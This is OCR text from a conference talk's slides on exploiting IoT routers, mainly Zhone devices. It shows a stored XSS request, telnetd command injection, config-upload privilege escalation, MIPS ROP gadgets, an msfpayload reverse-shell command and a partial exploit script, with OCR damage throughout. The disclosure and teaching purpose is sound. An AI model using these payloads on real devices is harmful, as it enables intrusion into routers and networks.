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* Hi everyone my name is Lyon Yang

| hack loT and embedded systems.
| live in sunny Singapore.
Spoke @ DEFCON IoT Village & XCON

Singapore is a smart city with loT already deployed.
Taxi drivers in SG will become robots.

VANTAGE

. | work at a company called Vantage Point POINT

Strongest technical team in Singapore/SE Asia.
Large collective of passionate hackers.
Working in the financial and government sectors.
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Today | want to share with you a story:

1 year ago, | set about to try and become the “corelan” of ARM
and MIPS exploitation - a formidable task!

| wanted to fully understand embedded systems and try to
contribute back into the community.

and in the process pop many shells!
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| am a rather regular guy...
» Basic understanding of ASM and exploitation
« Attended some training events myself
 Corelan,HITB, OSCP

Practice Makes Perfect
| started buying embedded devices and playing’
* Working on loT till 2-3am most mornings.
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The current state of embedded hacking

. -
Rather immature.

| \

k(’

»

| learnt quickly that tools don’t work.
A lot of things crash..

Support that was supported, isn’t actually supported.
Answers on StackOverflow are very limited...
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Equally as immature as the tools.

¢ 1990 called”- Send our bugs back
* Basic strcpy/memcpy exploits

* Not much privilege separation

* Unsecured host OS

« Backdoors are often ‘'vendor features’
* Not all vendors care about security
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O\ Attack Surface

Attack Surface of loT

 Think of loT devices as miniature computers

e ARM or MIPS CPU
“Hard-Drive” is a memory IC

Runs Linux (typically)
Communicate over WiFi/Wired
HTTPD, UnPnP, FTPD, SSHD, TelnetD
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Other alternatives
 Firmware updates are often online

« (Can be unpacked using freely available tools (binwalk,
fmk, squashfs)

Once we have the Firmware - its digging time.

* |dentify all software on the device

* Find all shared libraries (Look for custom ones)
* Find each available Software Input / Entry Point
It does not take long before your finding shells.
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At Vantage Point | work with loT vendors within SE Asia

Network Services (httpd/telnetd...)
 Found more stack overflows than you can count
« “Every string was insecurely handled”

Admin ‘“restricted” Shells
commandl | sh
sh
dumpmem/readmem
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* Backdoor User(s)

« Security Implemented in Client Side

* Debug interfaces left active

* File Upload -> Shell

* Arbitrary File Read (../../../../)
 Command Injection

« Stack Overflows

« Unauthorized Remote Access via UPnP

TRUSTED SECURITY PARTNER E POINT

10



In loT we want Remote Unauthenticated bugs
 Large scale device compromises.

 Telnetd & httpd are first targets
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Daemon re-spawn on crash

Lots of unauthenticated content
Both run as root

Remote access often allowed
Many fuzzing tools available
HTTP is a big protocol!

TOP COUNTRIES

Thailand
Poland
Brazil
Argentina
United States

TOP SERVICES

Telnet
SNMP
HTTP
SMB
NetBIOS
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Developers typically modify open source software
e (Customized to meet their own needs.
*  MicroHTTPD, BusyBox.
* This requires you are a strong C, C++ Developer
* Most developers now-a-days, are not so strong.
* Customizations exactly where we find bugs.

« Stack Overflows in vendor modifications
* Additional File Handlers or HTTP Methods
* Authentication
 Password Reset
* Log File Access
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Typically | find bugs like these:

AAn.txt HITP/1.0

Coolbox Heatwave Vv
User:

Connection Timed Out.

All hail the might of loT Security 3‘\“
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Zhone Technologies is a Global Leader in Fiber
Access Transformation for Service Provider and
Enterprise Networks!

Based in the US
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BN Telcos using Zhone Routers

Reference from Shodan

Top Organizations

TOT

Multimedia Polska S. A.

COPEL Telecom

CAT Telecom public company Ltd

Orange Polska

Servicios Publicos de Morteros Ltda.

Telefonica del Sur S.A.

Viewqwest Pte Ltd

Sercomtel Celular S.A.

Telecom S/a

1,000.0 2,000.0 3,000.0 4,000.0 5,000.0 6,000.0 7,000.0 8,000.0 9,000.0 9,879.0
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O\ Attacking your tech support

Stored XSS

POST /zhnsystemconfig.cgi?
snmpSysName=ZNID24xxA-

Route &snmpSysContact=Zhone%20Global
%20Support
&snmpSysLocation=www.zhone.com %3Cscript
%35Ealert(1)%3C/script%3E
&sessionKey=1853320716 HTTP/1.1

Host: 192.168.1.1
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- Privilege Escalation

CVE-2014-8356 Privilege Escalation via Javascript Controls

: Configuration
Access Control via Javas( s

Direct Object Reference Eiiiil
System

‘unctions!

Access Control
N Default Interface
if ( user == 'admin' DNS
Match and Rep menuAdmin(options Internet Time
These settings are ©1se if ( user == ‘s
© menuSupport(optic Log
En; ©1s€ 1f ( user == "\ i  power Shedding
— menuUser();
Backup/Restore er header )
U Request header AACCE n-compressed respons...
O Response header  ASet- SNMP mm Ames control rkies L
()] Request header AHost TR-069 Client )st header >
(@) Request header . fed CORS origin
(@] Response header  AStric Bad(uPl Restore STS headers |
(D] Response header owser XSS protection
Down ) Response body ‘admil Reboot v
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Plaintext Passwords

All use e ‘he

baCkur HTTP/1.1 200 Ok

Server: micro httpd

Cache-Control: no-cache

CVE—Z( Date: Sun, 14 Sep 2014 Z3:Z1:27 GHNT k) &
-

Content-Type: config/cont

PaSSW‘ Connection: close

<?xml wversion="1.0"7>
Pa SSW‘ <DslCpeConfig version="3.2"> - ku p
<InternetGatewayDevice> -
° <LADeviceNunberOfEntries»>2</LANDeviceNunberOfEntriess>
S ett I n C <WANDevicelNumberOfEntries>1</WANDeviceNunberOfEntries:>
= <Devicelnfo>
<FirstUseDate>2014-07-29T05:46:58+00:00</FirstUseDate>
<VendorConfigFileNumberOfEntries>0</VendorConfigFileNumberOfEntries>
</DeviceInfo>

G ET /b <X BROADCOM COM LoginCfg>
<AdminPassworc1>_</ AdminPassword>

</SupportPassword>

<supportPasswvord>
<UserPasswvord> </UserPasswvord>

V POINT
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N Privilege Escalation Again?

POST /uploadsettings.cgi HTTP/1.1
Host: 192.168.1.1

----------------------------- 75010019812050198961998600862
Content-Disposition: form-data; name="filename”;
filename="backupsettings.conf” Content-Type: config/conf

<?xml version="1.0"?> <DslCpeConfig version="3.2">
<AdminPassword></AdminPassword>

</DslCpeConfig>
5 mmmmmmmm e 75010019812050198961998600862 —
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Command Injection (Telnetd)

07-01-04032014-70361-A(archive)# download-sw ftp://123:213@213/;1s -1la

% Unknown command.

07-01-04032014-70361-A(archive)# download-sw "ftp://123:213@213/;1s -1a"

zhn_ftp: option requires an argument———e_r

Usage: zhn ftp [-p|-g] [-t i]c] [-1 local_file] [-r remote_file]
[-4uername] [-P password] ftp_server_ip

Ypdate firmware image and configuration data from, OR backup cenfiguration

da’tial 10 lal ©cp l<erver

Examoles:

g VY L 1R M legil -P 'pagsword server ip Get \UT'Léshy- erpadcem or“whole image to modem
-g -t ¢ -r file -U login -P password server_ip Get (flash) config file to modem

-p -r file -U login -P password server_ip Put (backup) config file to ftp server

FTP: Invalid usage
drwxr-xr-x 17 root
drwxr-xr-x 17 root
drwxr-xr-x 2 root
-rw-r--r-- 1 root
drwxr-xr-x 3 root
drwxr-xr-x 4 root
drwxr-xr-x 12 root

p
3

1970 .

1970 ..

2013 bin

2013 cferam.001

1970 data

2013 dev

2013 etc

2013 include

2013 1ib

2013 linuxrc -> bin/busybox
1970 mnt

2013 opt

1970 proc

2013 sbin

1970 sys

2013 tmp -> /var/tmp
2013 usr
00:40 var

2013 vmlinux.1z

2013 webs

drwxr-xr-x root
drwxr-xr-x 8 root
LrwXrwxrwx 1 root
drwxr-xr-x root
drwxr-xr-x 6 root
dr-xr-xr-x 94 root
2 root

1 root

1 root

1

drwxr-xr-x
drwxr-xr-x 1
Lrwxrwxrwx

drwxr-xr-x 4 root

19 root

root 127384
drwxr-xr-x 3 root

1s: invalid option -- U

drwxr-xr-x
-rw-r--r--

[y
ol NoNoN.-NoNoNoNoNoN _NoNoNoNoNoNoNOoNONO]
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Command Injection (HTTPD)

Favourite way to look for Command Injection via IDA Pro:

S h f k Address Function Instruction
e a rc O r LOAD:00405F24 aPrctl_runcomma:.ascii "prctl_runCommandinShellWithTi...

LOAD:004060CD aPrctl_runcom_0:.ascii "prctl_runCommandinSheliBlockin...
LOAD:004100F4 zhnStopTracerouteCo... la  $t9, prctl_runCommandInShellWithTimeout
LOAD:004100F8 zhnStopTracerouteCo... jalr  $t9 ; pretl_runCommandInShellWithTimeout
LOAD:00410178 zhnStopPingCommand la  $t9, prctl_runCommandInShellWithTimeout
LOAD:0041017C zhnStopPingCommand jalr - $t9 ; pretl_runCommandInShellWithTimeout
LOAD:004102D4 zhnStartTracerouteCo... la  $t9, prctl_runCommandInShellWithTimeout
LOAD:004102D8 zhnStartTracerouteCo... jalr -~ $t9 ; pretl_runCommandInShellWithTimeout
LOAD:0041040C OAD:00410448 zhnStartPingCommand la  $t9, prctl_runCommandInShellWithTimeout
LOAD:004 lsa m p [ E%EI o ItzhnStarthgCommand jalr - $t9 ; pretl_runCommandinShellWith Timeout
LOAD: 0041 zﬁnCIeanUpOIdPlngFl la  $t9, prctl_runCommandInShellWithTimeout
LOAD: 00410 LOAD: 00410EEC zhnCleanUpOIdPingFi... jalr  $t9 ; pretl_runCommandInShellWithTimeout
LOAD: 00410 n p % d ? la  $t9, prctl_runCommandinShellBlocking
LOAD: 0041 LOAI 411ACC jalr  $t9 ; prctl_runCommandIinShellBlocking

LOAD: 00410 4

LoR>: 0041969¢ 0 S t ka5 I O U te & S€ 5510 N K\ Somrtmalitoind | A

LOAD:00410 LOAD:00411BD8 la  “$t9, pretl_| runCommandInSheIIBIocklng
LOAD:00410430 500441 o t9 rctl ommandInSheIIBIocklng
LOAD:0041 r= 1 :opglﬁg_ 1 . 1 | WgEt AZOhtﬁ ommandInSheIIBIocking rar/pingts is &'
LOAD:00410 LOAD:00411BF8 jalr pr 1l runCommandInSheIIBIocklng
LOAD: 0041013 o o 1) |_ri andInShellWithTimeout
LoAD:00410449 2 | 163021&1 7 / shell%20-0 AZ Ot! ‘ﬂ?ﬁi andlnSheuwnhTmeout
33 ggﬁg: LOAD:004132FC prctl runCommandinShellWithTimeout
041 j tl_runCommandInShellWithTimeout
LOAD: 004105 h || &dE85 %ﬁ)&waﬂem&&q uekri hellwithTimeout:
LOAD:0041045 LOAD:0047761C pretl_runCommandin.... # End of function _prctl_runCommandInSheIIWitthmeout
LOAD:004778B0 .prctl_runCommandin... _prctl_runCommandInShellBlocking:
LOAD:004778BC .prctl_runCommandin...  # End of function _prctl_runCommandinShellBlocking
LOAD:004AC6F0 .byte 0 # OFF32 EXTDEF [extern,4B5B14]=4...
LOAD:004AC818 .byte 0 # OFF32 EXTDEF [extern,4B5BCO0]=...
extern:004B5B14 prctl_runCommandinsS... .extern prctl_runCommandinSheliBlocking # CO...
extern:004B5BCO prctl_runCommandinS... .extern prctl_runCommandinShellWithTimeout
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-\ \Xx41\x41\x41\x41

Stack Overflow #1:

Ox2b267afc in 77 ()
(gdb) continue
Continuing.

Program received signal
Ox4141414) in7 ()
(gau)=Snte registers

- RO

(gdb) ]

Zero
Ueoeveee
#0
OE0300E9
s0
41414141
t8
CNGEVRIR
status
00008d13

fcsr

clelelelelelelc

at
77e5d538
ti
B8ERAGCAES
sl
41414141
t4
20708D8Y
lo
cle[elelelelele
fir
cle[elelelelele

SIGSEGV,

x4
OEEOOHOL
12
SRE3febl
s2
41414141
e
7Tebc620
hi
c[e[elelelelele
restart
0EEEEEE0

Segmentation fault.

vl
gGoeee0e7
t3
fffffffo
s3
41414141
[P
26680089
WEEL ]
41414140

ab
0EEEEEO0
t4
554b7471
s4
41414141
ao
26085420
cause
0OOOOOOS

al
0EEEEEO0
t5
84381cad
s5
41414141
sp
Ardo>dy38
pc
41414141

az2 a3
0EEEEEEE CEEELOEE
t6 t7
AAA1AEAEA _AAAEA2bak
sb s/
41414141 41414141
s8 ra
0048e7cd 41414141
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- Stack Executable

Stack commonly found to be executable

~ # cat /proc/7782/maps | tail

2b259000-2b2b1000O 00000000 X /1ib/1ibc.s0.0
2b2b1000O-2b2cOO0O0O 00000000 X

2b2c0000-2b2c1000 00057000 X /1ib/1ibc.s0.0
2b2c1000-2b2c2000 00058000 X /1ib/1ibc.s0.0
2b2c2000-2b2c7000 00000000 X

2b2c7000-2b211000 00000000 X /1ib/1libgcc_s.so.1
2b2f1000-2b301000 00000000 X

2b301000-2b302000 00022000 X /1ib/1libgcc_s.so.1
58800000-5889¢c000 00000000 X /SYSVOOOO0000 (deleted)
7fa8d0O00-7faa5000 00000000 X [stack]

~ #
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O\ Cache Incoherency

Memory

movw ip, #:lowerlé:new tgt
movt ip, #:upperlé:new tgt

blx ip
Instruction Cache Data Cache
_ _—
jmovw ip, |#:lowerl6:old tgf] movw ip, F:lowerlG:new_tgt
[movt ip, |#:upperlé6:old tgf movt ip, k:upperlG:new_tgt
blx ip blx 1ip
Processor Core

Reference:
http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
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- MIPS Cache Incoherency

First two ROP Gadgets - Call the sleep function
from libc library to flush the MIPS Data Cache.

For that we need two ROP Gadgets
1. Setup value 1 in $a0

LOAD: 000511¢8 I a0, H
LOAD: 000511CC move  §t9, §s
LOAD: 00051100 jale  §t9 ; sub 5070
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O\ 2nd ROP Gadget

2. Call libc sleep function

LOAD:0001A95C
LOAD:0001A960
LOAD:0001A964
LOAD:0001A968
LOAD:0001A96C
LOAD:0001A970
LOAD:0001A974

move  St9, §sl

lu Sra, 0x284var 4($sp)
lu §82, 0x28+var 8($sp)
lw §s1, 0x28+var C($sp)

__lw______Ssn+_:f§j+var_10(Ssp)
ir §t9
addiu  §sp, Ox

LOAD:0001A974 +# End of function sub IABAO
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O\ Bypass ASLR

Last two ROP Gadgets:
* Copy address of stack

LOAD: 00047EBS
LOAD: 00047EBC
LOAD: 00047ECO
LOAD: 00047EC4
LOAD:00047EC8
LOAD: 00047ECC

L;ggu 50, $sp, OxAtvar 90

352, $a0
move  Sal, $zero
li Sa0, 3

move  §t9, §sl
jalr  $t9 ; sigprocmask

e jump to stack to execute shellcode

LOAD:0001F8C0
TR
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- ROP Gadgets

Commonly Craig Heffner IDA Script works best for
looking for ROP Gadgets:

https://github.com/devttysO/ida/tree/master/plugins/mipsrop

MIPS ROP Finder activated, found 1448 controllable jumps between 0x00000000 and 0x00057C14
Python>mipsrop.tails()

| Address | Action | control Jump
0x0001A95C move $t9,$sl jr $sl
0x000317F8 move $t9,$s0 jr $s0
0x00031FBC move $t9,$al jr sal
0x00032A1C move $t9,$al jr sal
0x0003372C move $t9,$al jr Sal
0x000358A8 move $t9,$s0 jr $s0
0x000380F0 move $t9,$s2 jr $s2
0x00038370 move $t9,$s2 jr $s2
0x00038430 move $t9,$s2 jr $s2
0x00038648 move $t9,$s2 jr $s2
0x0003A078 move $t9,$s0 jr $s0
0x0003A0EO move $t9,$s0 jr $s0
0x0003A88C move $t9,$al jr sal
0x0003A8A8 move $t9,$al jr Sal
0x0003B11C move $t9,$al jr sal
0x0003B138 move $t9,$al jr sal
0x0003BCOC move $t9,$al jr Sal
0x0003BC28 move $t9,$al jr sal
0x0003CDD8 move $t9,$s0 jr $s0
0x00042A9C move $t9,$s0 jr $s0

Found 20 matching gadgets
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-

O\ Excited to POP Shelll
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- Generate Shellcode

Generate Shellcode:

msfpayload linux/mipsbe/shell reverse tcp lport=31337
lhost=192.168.1.177 R

Bad Characters Problem! :
0Ox20 Ox00 Ox3a 0x0a Ox3f

Encode Shellcode:
msfencode -e mipsbe/longxor -b '0x20 0x00 Ox3a 0x0a Ox3f'-t c
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O\ No Shell??

No Shell!?

Traced through
GDB Debugger

1. ROP Gadgets
worked fine

2. Shellcode
decodes
correctly

. N .’ ' -
‘ H " " “ . -
EEEEEEEEEE
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- Bad Characters

2

r-..

—+ —h
—h '.'l {

hafh_
1' : :3 : 'lll'l
(=

ZWxTTh\xlE
L} “r \ 1r'— .'n r .' Ii-"_l"u - 1 "n -
wHET WK ID\WXKE KDL KD,
¥ 73\ X6 “vaTExaﬂhx
vxadix T ix T8y faTR:

-...-\Ul '.}'RU]. '.AU]. \AUC
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O\ MIPS Encoder

Simplified version of encoder

1 $s1, 9999

la $s2, 0($sp)

w $t2, 4($s2)
xor $v1, $t2, $sl
sw $vl, 4($s2)
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O\ Shell Died Instantly?!

ad out
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Router constantly monitors all critical services

Kills and re-spawns services if not functioning

Solution:
Fork the shellcode
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O\ MIPS Exploit Writing

Clear Cache

-> Sleep|)

ASLR

- Use ROP Gadget to jump to Stack
Bad Characters

- Wrote your own encoder

Auto-Respawn Process Monitoring
- Fork the Shellcode Process
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.connect((host, BO))
.send("GET /.html")

ol lcode)

".cgi HTTP/1.1%s" % '\n')

"Host: 192.168.1.1%s" % '\n')

"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.10;
181 Firefox/35.0%s" % '‘\n')

”&ccapt */*%s" % '\n')

"Accept-Language: en-US,en;g=0.5%s" % '\n')
‘Accept-Encoding: gzip, deflate%s" % '‘n')

'‘Referer: http://132.147.82.80/%s" % '\n')

"Authorization: Basic YWRtaW460DcGMiY4NmY=%s" % '\n')

TRUSTED SECURITY PARTNER




DEMO
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O\ Cache Incoherency

* Self-modifying code (Encoder/Decoder) would
commonly cause Cache Incoherency

* |Instructions stored in Instruction Cache will
execute instead of Data Cache

e Modified Shellcode is stored in Data Cache and
will not execute

Reference:
http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
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-\ Cache Incoherency (ARM)

 Encode and decode only the data portion of the
shellcode.
Data is not considered as Instructions!
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BN Decoding Data

Instruction Cache Data Cache

Decoder

S Decode

Shellcode
(Instructions)

Read Data o Shellcode
(Decoded Data)
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O\ ARMEncoder

ARMCoder (Alpha Stage)

« Mthumb encoder (Encodes all or part of your ARM Shellcodes)
* Provides you with an encoder
* Objdump your shellcode binary to specific formats like C: "\x41\x42\x43\x44"

Upcoming features

* Detects for bad characters

« 32bit encoder

* Generates Shellcode

* Accept other forms of shellcode input. (Currently only supports reading from binary)
* Added support for MIPS Architecture

Download Link: https://github.com/l00p3r/ARMCoder
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O\ So what do we do?

Lots to protect!

loT Devices are devices with lots of services

« Web

* Network

 Wireless

 Host Hardening

* Secure C++ Coding and Compilation Options
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- Awesome References!

* (Craig Heffner http://www.devttysO.com/

* Johnathan Salwan http://shell-storm.org/
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- Contact Me

Email: lyon.vang.s@agmail.com

Twitter/Github: @L0Op3r
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Thank you!
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